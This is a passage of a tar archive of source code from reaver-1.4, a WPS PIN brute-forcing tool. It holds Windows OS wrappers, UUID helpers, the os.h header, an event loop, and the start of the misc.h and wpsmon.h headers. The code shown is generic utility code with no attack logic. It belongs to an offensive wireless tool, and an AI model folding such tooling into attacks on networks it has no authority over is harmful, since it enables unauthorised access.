EPOCHFILETIME (116444736000000000ULL) FILETIME ft; LARGE_INTEGER li; ULONGLONG tt; #ifdef _WIN32_WCE SYSTEMTIME st; GetSystemTime(&st); SystemTimeToFileTime(&st, &ft); #else /* _WIN32_WCE */ GetSystemTimeAsFileTime(&ft); #endif /* _WIN32_WCE */ li.LowPart = ft.dwLowDateTime; li.HighPart = ft.dwHighDateTime; tt = (li.QuadPart - EPOCHFILETIME) / 10; t->sec = (os_time_t) (tt / 1000000); t->usec = (os_time_t) (tt % 1000000); return 0; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm, *tm1; time_t t_local, t1, t2; os_time_t tz_offset; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; t_local = mktime(&tm); /* figure out offset to UTC */ tm1 = localtime(&t_local); if (tm1) { t1 = mktime(tm1); tm1 = gmtime(&t_local); if (tm1) { t2 = mktime(tm1); tz_offset = t2 - t1; } else tz_offset = 0; } else tz_offset = 0; *t = (os_time_t) t_local - tz_offset; return 0; } int os_daemonize(const char *pid_file) { /* TODO */ return -1; } void os_daemonize_terminate(const char *pid_file) { } int os_get_random(unsigned char *buf, size_t len) { HCRYPTPROV prov; BOOL ret; if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) return -1; ret = CryptGenRandom(prov, len, buf); CryptReleaseContext(prov, 0); return ret ? 0 : -1; } unsigned long os_random(void) { return rand(); } char * os_rel2abs_path(const char *rel_path) { return _strdup(rel_path); } int os_program_init(void) { #ifdef CONFIG_NATIVE_WINDOWS WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 0), &wsaData)) { printf("Could not find a usable WinSock.dll\n"); return -1; } #endif /* CONFIG_NATIVE_WINDOWS */ return 0; } void os_program_deinit(void) { #ifdef CONFIG_NATIVE_WINDOWS WSACleanup(); #endif /* CONFIG_NATIVE_WINDOWS */ } int os_setenv(const char *name, const char *value, int overwrite) { return -1; } int os_unsetenv(const char *name) { return -1; } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = malloc(*len); if (buf == NULL) { fclose(f); return NULL; } fread(buf, 1, *len, f); fclose(f); return buf; } void * os_zalloc(size_t size) { return calloc(1, size); } size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } reaver-1.4/src/utils/uuid.c0000755000175000017500000000274311705505257015255 0ustar reaverreaver/* * Universally Unique IDentifier (UUID) * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "uuid.h" int uuid_str2bin(const char *str, u8 *bin) { const char *pos; u8 *opos; pos = str; opos = bin; if (hexstr2bin(pos, opos, 4)) return -1; pos += 8; opos += 4; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 6)) return -1; return 0; } int uuid_bin2str(const u8 *bin, char *str, size_t max_len) { int len; len = os_snprintf(str, max_len, "%02x%02x%02x%02x-%02x%02x-%02x%02x-" "%02x%02x-%02x%02x%02x%02x%02x%02x", bin[0], bin[1], bin[2], bin[3], bin[4], bin[5], bin[6], bin[7], bin[8], bin[9], bin[10], bin[11], bin[12], bin[13], bin[14], bin[15]); if (len < 0 || (size_t) len >= max_len) return -1; return 0; } int is_nil_uuid(const u8 *uuid) { int i; for (i = 0; i < UUID_LEN; i++) if (uuid[i]) return 0; return 1; } reaver-1.4/src/utils/os.h0000755000175000017500000003570211705505257014736 0ustar reaverreaver/* * OS specific functions * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef OS_H #define OS_H typedef long os_time_t; /** * os_sleep - Sleep (sec, usec) * @sec: Number of seconds to sleep * @usec: Number of microseconds to sleep */ void os_sleep(os_time_t sec, os_time_t usec); struct os_time { os_time_t sec; os_time_t usec; }; /** * os_get_time - Get current time (sec, usec) * @t: Pointer to buffer for the time * Returns: 0 on success, -1 on failure */ int os_get_time(struct os_time *t); /* Helper macros for handling struct os_time */ #define os_time_before(a, b) \ ((a)->sec < (b)->sec || \ ((a)->sec == (b)->sec && (a)->usec < (b)->usec)) #define os_time_sub(a, b, res) do { \ (res)->sec = (a)->sec - (b)->sec; \ (res)->usec = (a)->usec - (b)->usec; \ if ((res)->usec < 0) { \ (res)->sec--; \ (res)->usec += 1000000; \ } \ } while (0) /** * os_mktime - Convert broken-down time into seconds since 1970-01-01 * @year: Four digit year * @month: Month (1 .. 12) * @day: Day of month (1 .. 31) * @hour: Hour (0 .. 23) * @min: Minute (0 .. 59) * @sec: Second (0 .. 60) * @t: Buffer for returning calendar time representation (seconds since * 1970-01-01 00:00:00) * Returns: 0 on success, -1 on failure * * Note: The result is in seconds from Epoch, i.e., in UTC, not in local time * which is used by POSIX mktime(). */ int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t); /** * os_daemonize - Run in the background (detach from the controlling terminal) * @pid_file: File name to write the process ID to or %NULL to skip this * Returns: 0 on success, -1 on failure */ int os_daemonize(const char *pid_file); /** * os_daemonize_terminate - Stop running in the background (remove pid file) * @pid_file: File name to write the process ID to or %NULL to skip this */ void os_daemonize_terminate(const char *pid_file); /** * os_get_random - Get cryptographically strong pseudo random data * @buf: Buffer for pseudo random data * @len: Length of the buffer * Returns: 0 on success, -1 on failure */ int os_get_random(unsigned char *buf, size_t len); /** * os_random - Get pseudo random value (not necessarily very strong) * Returns: Pseudo random value */ unsigned long os_random(void); /** * os_rel2abs_path - Get an absolute path for a file * @rel_path: Relative path to a file * Returns: Absolute path for the file or %NULL on failure * * This function tries to convert a relative path of a file to an absolute path * in order for the file to be found even if current working directory has * changed. The returned value is allocated and caller is responsible for * freeing it. It is acceptable to just return the same path in an allocated * buffer, e.g., return strdup(rel_path). This function is only used to find * configuration files when os_daemonize() may have changed the current working * directory and relative path would be pointing to a different location. */ char * os_rel2abs_path(const char *rel_path); /** * os_program_init - Program initialization (called at start) * Returns: 0 on success, -1 on failure * * This function is called when a programs starts. If there are any OS specific * processing that is needed, it can be placed here. It is also acceptable to * just return 0 if not special processing is needed. */ int os_program_init(void); /** * os_program_deinit - Program deinitialization (called just before exit) * * This function is called just before a program exists. If there are any OS * specific processing, e.g., freeing resourced allocated in os_program_init(), * it should be done here. It is also acceptable for this function to do * nothing. */ void os_program_deinit(void); /** * os_setenv - Set environment variable * @name: Name of the variable * @value: Value to set to the variable * @overwrite: Whether existing variable should be overwritten * Returns: 0 on success, -1 on error * * This function is only used for wpa_cli action scripts. OS wrapper does not * need to implement this if such functionality is not needed. */ int os_setenv(const char *name, const char *value, int overwrite); /** * os_unsetenv - Delete environent variable * @name: Name of the variable * Returns: 0 on success, -1 on error * * This function is only used for wpa_cli action scripts. OS wrapper does not * need to implement this if such functionality is not needed. */ int os_unsetenv(const char *name); /** * os_readfile - Read a file to an allocated memory buffer * @name: Name of the file to read * @len: For returning the length of the allocated buffer * Returns: Pointer to the allocated buffer or %NULL on failure * * This function allocates memory and reads the given file to this buffer. Both * binary and text files can be read with this function. The caller is * responsible for freeing the returned buffer with os_free(). */ char * os_readfile(const char *name, size_t *len); /** * os_zalloc - Allocate and zero memory * @size: Number of bytes to allocate * Returns: Pointer to allocated and zeroed memory or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ void * os_zalloc(size_t size); /* * The following functions are wrapper for standard ANSI C or POSIX functions. * By default, they are just defined to use the standard function name and no * os_*.c implementation is needed for them. This avoids extra function calls * by allowing the C pre-processor take care of the function name mapping. * * If the target system uses a C library that does not provide these functions, * build_config.h can be used to define the wrappers to use a different * function name. This can be done on function-by-function basis since the * defines here are only used if build_config.h does not define the os_* name. * If needed, os_*.c file can be used to implement the functions that are not * included in the C library on the target system. Alternatively, * OS_NO_C_LIB_DEFINES can be defined to skip all defines here in which case * these functions need to be implemented in os_*.c file for the target system. */ #ifdef OS_NO_C_LIB_DEFINES /** * os_malloc - Allocate dynamic memory * @size: Size of the buffer to allocate * Returns: Allocated buffer or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ void * os_malloc(size_t size); /** * os_realloc - Re-allocate dynamic memory * @ptr: Old buffer from os_malloc() or os_realloc() * @size: Size of the new buffer * Returns: Allocated buffer or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). * If re-allocation fails, %NULL is returned and the original buffer (ptr) is * not freed and caller is still responsible for freeing it. */ void * os_realloc(void *ptr, size_t size); /** * os_free - Free dynamic memory * @ptr: Old buffer from os_malloc() or os_realloc(); can be %NULL */ void os_free(void *ptr); /** * os_memcpy - Copy memory area * @dest: Destination * @src: Source * @n: Number of bytes to copy * Returns: dest * * The memory areas src and dst must not overlap. os_memmove() can be used with * overlapping memory. */ void * os_memcpy(void *dest, const void *src, size_t n); /** * os_memmove - Copy memory area * @dest: Destination * @src: Source * @n: Number of bytes to copy * Returns: dest * * The memory areas src and dst may overlap. */ void * os_memmove(void *dest, const void *src, size_t n); /** * os_memset - Fill memory with a constant byte * @s: Memory area to be filled * @c: Constant byte * @n: Number of bytes started from s to fill with c * Returns: s */ void * os_memset(void *s, int c, size_t n); /** * os_memcmp - Compare memory areas * @s1: First buffer * @s2: Second buffer * @n: Maximum numbers of octets to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_memcmp(const void *s1, const void *s2, size_t n); /** * os_strdup - Duplicate a string * @s: Source string * Returns: Allocated buffer with the string copied into it or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ char * os_strdup(const char *s); /** * os_strlen - Calculate the length of a string * @s: '\0' terminated string * Returns: Number of characters in s (not counting the '\0' terminator) */ size_t os_strlen(const char *s); /** * os_strcasecmp - Compare two strings ignoring case * @s1: First string * @s2: Second string * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greatred than s2 */ int os_strcasecmp(const char *s1, const char *s2); /** * os_strncasecmp - Compare two strings ignoring case * @s1: First string * @s2: Second string * @n: Maximum numbers of characters to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_strncasecmp(const char *s1, const char *s2, size_t n); /** * os_strchr - Locate the first occurrence of a character in string * @s: String * @c: Character to search for * Returns: Pointer to the matched character or %NULL if not found */ char * os_strchr(const char *s, int c); /** * os_strrchr - Locate the last occurrence of a character in string * @s: String * @c: Character to search for * Returns: Pointer to the matched character or %NULL if not found */ char * os_strrchr(const char *s, int c); /** * os_strcmp - Compare two strings * @s1: First string * @s2: Second string * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greatred than s2 */ int os_strcmp(const char *s1, const char *s2); /** * os_strncmp - Compare two strings * @s1: First string * @s2: Second string * @n: Maximum numbers of characters to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_strncmp(const char *s1, const char *s2, size_t n); /** * os_strncpy - Copy a string * @dest: Destination * @src: Source * @n: Maximum number of characters to copy * Returns: dest */ char * os_strncpy(char *dest, const char *src, size_t n); /** * os_strstr - Locate a substring * @haystack: String (haystack) to search from * @needle: Needle to search from haystack * Returns: Pointer to the beginning of the substring or %NULL if not found */ char * os_strstr(const char *haystack, const char *needle); /** * os_snprintf - Print to a memory buffer * @str: Memory buffer to print into * @size: Maximum length of the str buffer * @format: printf format * Returns: Number of characters printed (not including trailing '\0'). * * If the output buffer is truncated, number of characters which would have * been written is returned. Since some C libraries return -1 in such a case, * the caller must be prepared on that value, too, to indicate truncation. * * Note: Some C library implementations of snprintf() may not guarantee null * termination in case the output is truncated. The OS wrapper function of * os_snprintf() should provide this guarantee, i.e., to null terminate the * output buffer if a C library version of the function is used and if that * function does not guarantee null termination. * * If the target system does not include snprintf(), see, e.g., * http://www.ijs.si/software/snprintf/ for an example of a portable * implementation of snprintf. */ int os_snprintf(char *str, size_t size, const char *format, ...); #else /* OS_NO_C_LIB_DEFINES */ #ifdef WPA_TRACE void * os_malloc(size_t size); void * os_realloc(void *ptr, size_t size); void os_free(void *ptr); char * os_strdup(const char *s); #else /* WPA_TRACE */ #ifndef os_malloc #define os_malloc(s) malloc((s)) #endif #ifndef os_realloc #define os_realloc(p, s) realloc((p), (s)) #endif #ifndef os_free #define os_free(p) free((p)) #endif #ifndef os_strdup #ifdef _MSC_VER #define os_strdup(s) _strdup(s) #else #define os_strdup(s) strdup(s) #endif #endif #endif /* WPA_TRACE */ #ifndef os_memcpy #define os_memcpy(d, s, n) memcpy((d), (s), (n)) #endif #ifndef os_memmove #define os_memmove(d, s, n) memmove((d), (s), (n)) #endif #ifndef os_memset #define os_memset(s, c, n) memset(s, c, n) #endif #ifndef os_memcmp #define os_memcmp(s1, s2, n) memcmp((s1), (s2), (n)) #endif #ifndef os_strlen #define os_strlen(s) strlen(s) #endif #ifndef os_strcasecmp #ifdef _MSC_VER #define os_strcasecmp(s1, s2) _stricmp((s1), (s2)) #else #define os_strcasecmp(s1, s2) strcasecmp((s1), (s2)) #endif #endif #ifndef os_strncasecmp #ifdef _MSC_VER #define os_strncasecmp(s1, s2, n) _strnicmp((s1), (s2), (n)) #else #define os_strncasecmp(s1, s2, n) strncasecmp((s1), (s2), (n)) #endif #endif #ifndef os_strchr #define os_strchr(s, c) strchr((s), (c)) #endif #ifndef os_strcmp #define os_strcmp(s1, s2) strcmp((s1), (s2)) #endif #ifndef os_strncmp #define os_strncmp(s1, s2, n) strncmp((s1), (s2), (n)) #endif #ifndef os_strncpy #define os_strncpy(d, s, n) strncpy((d), (s), (n)) #endif #ifndef os_strrchr #define os_strrchr(s, c) strrchr((s), (c)) #endif #ifndef os_strstr #define os_strstr(h, n) strstr((h), (n)) #endif #ifndef os_snprintf #ifdef _MSC_VER #define os_snprintf _snprintf #else #define os_snprintf snprintf #endif #endif #endif /* OS_NO_C_LIB_DEFINES */ /** * os_strlcpy - Copy a string with size bound and NUL-termination * @dest: Destination * @src: Source * @siz: Size of the target buffer * Returns: Total length of the target string (length of src) (not including * NUL-termination) * * This function matches in behavior with the strlcpy(3) function in OpenBSD. */ size_t os_strlcpy(char *dest, const char *src, size_t siz); #ifdef OS_REJECT_C_LIB_FUNCTIONS #define malloc OS_DO_NOT_USE_malloc #define realloc OS_DO_NOT_USE_realloc #define free OS_DO_NOT_USE_free #define memcpy OS_DO_NOT_USE_memcpy #define memmove OS_DO_NOT_USE_memmove #define memset OS_DO_NOT_USE_memset #define memcmp OS_DO_NOT_USE_memcmp #undef strdup #define strdup OS_DO_NOT_USE_strdup #define strlen OS_DO_NOT_USE_strlen #define strcasecmp OS_DO_NOT_USE_strcasecmp #define strncasecmp OS_DO_NOT_USE_strncasecmp #undef strchr #define strchr OS_DO_NOT_USE_strchr #undef strcmp #define strcmp OS_DO_NOT_USE_strcmp #undef strncmp #define strncmp OS_DO_NOT_USE_strncmp #undef strncpy #define strncpy OS_DO_NOT_USE_strncpy #define strrchr OS_DO_NOT_USE_strrchr #define strstr OS_DO_NOT_USE_strstr #undef snprintf #define snprintf OS_DO_NOT_USE_snprintf #define strcpy OS_DO_NOT_USE_strcpy #endif /* OS_REJECT_C_LIB_FUNCTIONS */ #endif /* OS_H */ reaver-1.4/src/utils/eloop_win.c0000755000175000017500000003062011705505257016275 0ustar reaverreaver/* * Event loop based on Windows events and WaitForMultipleObjects * Copyright (c) 2002-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; eloop_sock_handler handler; WSAEVENT event; }; struct eloop_event { void *eloop_data; void *user_data; eloop_event_handler handler; HANDLE event; }; struct eloop_timeout { struct os_time time; void *eloop_data; void *user_data; eloop_timeout_handler handler; struct eloop_timeout *next; }; struct eloop_signal { int sig; void *user_data; eloop_signal_handler handler; int signaled; }; struct eloop_data { int max_sock; size_t reader_count; struct eloop_sock *readers; size_t event_count; struct eloop_event *events; struct eloop_timeout *timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; struct eloop_signal term_signal; HANDLE term_event; HANDLE *handles; size_t num_handles; }; static struct eloop_data eloop; int eloop_init(void) { os_memset(&eloop, 0, sizeof(eloop)); eloop.num_handles = 1; eloop.handles = os_malloc(eloop.num_handles * sizeof(eloop.handles[0])); if (eloop.handles == NULL) return -1; eloop.term_event = CreateEvent(NULL, FALSE, FALSE, NULL); if (eloop.term_event == NULL) { printf("CreateEvent() failed: %d\n", (int) GetLastError()); os_free(eloop.handles); return -1; } return 0; } static int eloop_prepare_handles(void) { HANDLE *n; if (eloop.num_handles > eloop.reader_count + eloop.event_count + 8) return 0; n = os_realloc(eloop.handles, eloop.num_handles * 2 * sizeof(eloop.handles[0])); if (n == NULL) return -1; eloop.handles = n; eloop.num_handles *= 2; return 0; } int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { WSAEVENT event; struct eloop_sock *tmp; if (eloop_prepare_handles()) return -1; event = WSACreateEvent(); if (event == WSA_INVALID_EVENT) { printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); return -1; } if (WSAEventSelect(sock, event, FD_READ)) { printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); WSACloseEvent(event); return -1; } tmp = os_realloc(eloop.readers, (eloop.reader_count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) { WSAEventSelect(sock, event, 0); WSACloseEvent(event); return -1; } tmp[eloop.reader_count].sock = sock; tmp[eloop.reader_count].eloop_data = eloop_data; tmp[eloop.reader_count].user_data = user_data; tmp[eloop.reader_count].handler = handler; tmp[eloop.reader_count].event = event; eloop.reader_count++; eloop.readers = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; eloop.reader_table_changed = 1; return 0; } void eloop_unregister_read_sock(int sock) { size_t i; if (eloop.readers == NULL || eloop.reader_count == 0) return; for (i = 0; i < eloop.reader_count; i++) { if (eloop.readers[i].sock == sock) break; } if (i == eloop.reader_count) return; WSAEventSelect(eloop.readers[i].sock, eloop.readers[i].event, 0); WSACloseEvent(eloop.readers[i].event); if (i != eloop.reader_count - 1) { os_memmove(&eloop.readers[i], &eloop.readers[i + 1], (eloop.reader_count - i - 1) * sizeof(struct eloop_sock)); } eloop.reader_count--; eloop.reader_table_changed = 1; } int eloop_register_event(void *event, size_t event_size, eloop_event_handler handler, void *eloop_data, void *user_data) { struct eloop_event *tmp; HANDLE h = event; if (event_size != sizeof(HANDLE) || h == INVALID_HANDLE_VALUE) return -1; if (eloop_prepare_handles()) return -1; tmp = os_realloc(eloop.events, (eloop.event_count + 1) * sizeof(struct eloop_event)); if (tmp == NULL) return -1; tmp[eloop.event_count].eloop_data = eloop_data; tmp[eloop.event_count].user_data = user_data; tmp[eloop.event_count].handler = handler; tmp[eloop.event_count].event = h; eloop.event_count++; eloop.events = tmp; return 0; } void eloop_unregister_event(void *event, size_t event_size) { size_t i; HANDLE h = event; if (eloop.events == NULL || eloop.event_count == 0 || event_size != sizeof(HANDLE)) return; for (i = 0; i < eloop.event_count; i++) { if (eloop.events[i].event == h) break; } if (i == eloop.event_count) return; if (i != eloop.event_count - 1) { os_memmove(&eloop.events[i], &eloop.events[i + 1], (eloop.event_count - i - 1) * sizeof(struct eloop_event)); } eloop.event_count--; } int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp, *prev; timeout = os_malloc(sizeof(*timeout)); if (timeout == NULL) return -1; os_get_time(&timeout->time); timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; timeout->next = NULL; if (eloop.timeout == NULL) { eloop.timeout = timeout; return 0; } prev = NULL; tmp = eloop.timeout; while (tmp != NULL) { if (os_time_before(&timeout->time, &tmp->time)) break; prev = tmp; tmp = tmp->next; } if (prev == NULL) { timeout->next = eloop.timeout; eloop.timeout = timeout; } else { timeout->next = prev->next; prev->next = timeout; } return 0; } int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev, *next; int removed = 0; prev = NULL; timeout = eloop.timeout; while (timeout != NULL) { next = timeout->next; if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { if (prev == NULL) eloop.timeout = next; else prev->next = next; os_free(timeout); removed++; } else prev = timeout; timeout = next; } return removed; } int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *tmp; tmp = eloop.timeout; while (tmp != NULL) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; tmp = tmp->next; } return 0; } /* TODO: replace with suitable signal handler */ #if 0 static void eloop_handle_signal(int sig) { int i; eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } #endif static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.signals[i].user_data); } } if (eloop.term_signal.signaled) { eloop.term_signal.signaled = 0; eloop.term_signal.handler(eloop.term_signal.sig, eloop.term_signal.user_data); } } int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data) { struct eloop_signal *tmp; tmp = os_realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; /* TODO: register signal handler */ return 0; } #ifndef _WIN32_WCE static BOOL eloop_handle_console_ctrl(DWORD type) { switch (type) { case CTRL_C_EVENT: case CTRL_BREAK_EVENT: eloop.signaled++; eloop.term_signal.signaled++; SetEvent(eloop.term_event); return TRUE; default: return FALSE; } } #endif /* _WIN32_WCE */ int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data) { #ifndef _WIN32_WCE if (SetConsoleCtrlHandler((PHANDLER_ROUTINE) eloop_handle_console_ctrl, TRUE) == 0) { printf("SetConsoleCtrlHandler() failed: %d\n", (int) GetLastError()); return -1; } #endif /* _WIN32_WCE */ eloop.term_signal.handler = handler; eloop.term_signal.user_data = user_data; return 0; } int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data) { /* TODO */ return 0; } void eloop_run(void) { struct os_time tv, now; DWORD count, ret, timeout, err; size_t i; while (!eloop.terminate && (eloop.timeout || eloop.reader_count > 0 || eloop.event_count > 0)) { tv.sec = tv.usec = 0; if (eloop.timeout) { os_get_time(&now); if (os_time_before(&now, &eloop.timeout->time)) os_time_sub(&eloop.timeout->time, &now, &tv); } count = 0; for (i = 0; i < eloop.event_count; i++) eloop.handles[count++] = eloop.events[i].event; for (i = 0; i < eloop.reader_count; i++) eloop.handles[count++] = eloop.readers[i].event; if (eloop.term_event) eloop.handles[count++] = eloop.term_event; if (eloop.timeout) timeout = tv.sec * 1000 + tv.usec / 1000; else timeout = INFINITE; if (count > MAXIMUM_WAIT_OBJECTS) { printf("WaitForMultipleObjects: Too many events: " "%d > %d (ignoring extra events)\n", (int) count, MAXIMUM_WAIT_OBJECTS); count = MAXIMUM_WAIT_OBJECTS; } #ifdef _WIN32_WCE ret = WaitForMultipleObjects(count, eloop.handles, FALSE, timeout); #else /* _WIN32_WCE */ ret = WaitForMultipleObjectsEx(count, eloop.handles, FALSE, timeout, TRUE); #endif /* _WIN32_WCE */ err = GetLastError(); eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ if (eloop.timeout) { struct eloop_timeout *tmp; os_get_time(&now); if (!os_time_before(&now, &eloop.timeout->time)) { tmp = eloop.timeout; eloop.timeout = eloop.timeout->next; tmp->handler(tmp->eloop_data, tmp->user_data); os_free(tmp); } } if (ret == WAIT_FAILED) { printf("WaitForMultipleObjects(count=%d) failed: %d\n", (int) count, (int) err); os_sleep(1, 0); continue; } #ifndef _WIN32_WCE if (ret == WAIT_IO_COMPLETION) continue; #endif /* _WIN32_WCE */ if (ret == WAIT_TIMEOUT) continue; while (ret >= WAIT_OBJECT_0 && ret < WAIT_OBJECT_0 + eloop.event_count) { eloop.events[ret].handler( eloop.events[ret].eloop_data, eloop.events[ret].user_data); ret = WaitForMultipleObjects(eloop.event_count, eloop.handles, FALSE, 0); } eloop.reader_table_changed = 0; for (i = 0; i < eloop.reader_count; i++) { WSANETWORKEVENTS events; if (WSAEnumNetworkEvents(eloop.readers[i].sock, eloop.readers[i].event, &events) == 0 && (events.lNetworkEvents & FD_READ)) { eloop.readers[i].handler( eloop.readers[i].sock, eloop.readers[i].eloop_data, eloop.readers[i].user_data); if (eloop.reader_table_changed) break; } } } } void eloop_terminate(void) { eloop.terminate = 1; SetEvent(eloop.term_event); } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; timeout = eloop.timeout; while (timeout != NULL) { prev = timeout; timeout = timeout->next; os_free(prev); } os_free(eloop.readers); os_free(eloop.signals); if (eloop.term_event) CloseHandle(eloop.term_event); os_free(eloop.handles); eloop.handles = NULL; os_free(eloop.events); eloop.events = NULL; } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { WSAEVENT event; event = WSACreateEvent(); if (event == WSA_INVALID_EVENT) { printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); return; } if (WSAEventSelect(sock, event, FD_READ)) { printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); WSACloseEvent(event); return ; } WaitForSingleObject(event, INFINITE); WSAEventSelect(sock, event, 0); WSACloseEvent(event); } reaver-1.4/src/misc.h0000644000175000017500000000374211705505257014104 0ustar reaverreaver/* * Reaver - Misc functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef MISC_H #define MISC_H #include #include #include #include #include "defs.h" #include "init.h" #include "globule.h" unsigned char *mac2str(unsigned char *mac, char delim); void str2mac(unsigned char *str, unsigned char *mac); void cprintf(enum debug_level level, const char *fmt, ...); void daemonize(void); void pcap_sleep(int seconds); #endif reaver-1.4/src/wpsmon.h0000644000175000017500000000613111705505257014467 0ustar reaverreaver/* * Walsh - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception 